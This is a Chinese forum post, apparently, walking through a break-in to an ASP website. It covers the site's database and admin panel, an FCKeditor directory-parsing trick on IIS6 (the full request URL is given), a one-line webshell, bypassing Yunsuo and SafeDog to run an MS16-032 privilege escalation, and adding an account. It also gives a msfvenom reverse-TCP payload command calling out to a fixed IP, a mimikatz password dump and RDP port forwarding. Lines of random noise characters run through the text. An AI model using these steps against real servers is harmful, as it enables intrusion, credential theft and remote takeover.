7 d7 y: C( w, G# T. p
| ( w# f7 S3 ~8 @6 F. x
! ~3 b% A* [6 u- {7 ?1 u
# L/ d7 `: Z/ v
一、 利用getwebshell篇
% [+ D9 R/ ~8 M& ]4 a3 ?
" L0 U# h0 p p, [首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
" D3 I5 I H6 G: X5 ~3 s* e6 t
7 M8 ^( l! T8 F [# {
c) L( |. r, o6 d- n2 Q8 h6 n
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
& K& X; `/ A5 s- u9 U
! {( ?8 G {1 ~- W6 V下面我们构造一个asp目录，如： 3 O7 l( q) z7 ^, s8 m9 [6 ?9 k+ {, p
0 I2 J* M6 A; s+ u+ l8 A
3 u5 f9 b7 U9 h4 K/ T
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 4 K. G* c8 Y1 q
3 [! H) I) }5 s7 @; p. j2 C
- r; C9 G7 s9 j 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
; C/ g; o( A: a5 [
: P9 F, A+ E) |' U0 `: w# j
一、 绕过安全狗云锁提权并且加账号
2 R9 U0 W& w, h# q9 A
+ P' q4 F W! `& Q" H没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
2 _! Q9 A- e* R# ^
7 s' o7 y. ]2 @' V, S s( d; U
如图：
. ~* a) [/ C: q/ ~9 F0 s) d4 t
a \! x+ M, F% v/ W
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
$ u4 H% m4 j. R
( o6 R+ l7 }, U8 N! R一、 利用metasploit
* Q% w/ R7 K/ y& s7 G: ?
! c8 R. i3 z1 N. y) F首先用pentestbox生成一个64位的payload如下命令
0 C! Q9 J, t* P7 Y" h) C: ?
* K2 F8 r7 T4 F' v- \( vmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
7 W+ M- c2 C8 ^$ ?% x) X& q; Y, i5 `
% o* p) r. j. y! T* d( j' Y
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
f( X' ~; R4 q! e
G# b, W2 B1 {8 \1 h
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
) M0 a% P* i' R" b
$ @4 X7 F% ]& ?) L) X# C, f: Q下面我们来做一个监听如下命令：
9 K! q+ Y( W; p3 k1 p
& @. j; z' F& H. Q, Vportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
5 E/ @1 Q% w9 h: p1 @3 o* S
* `0 [4 e2 T* x# @, Q1 r 9 T$ \1 C K* x/ \
|
/ D2 f1 ^ @7 F8 {0 z8 E
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06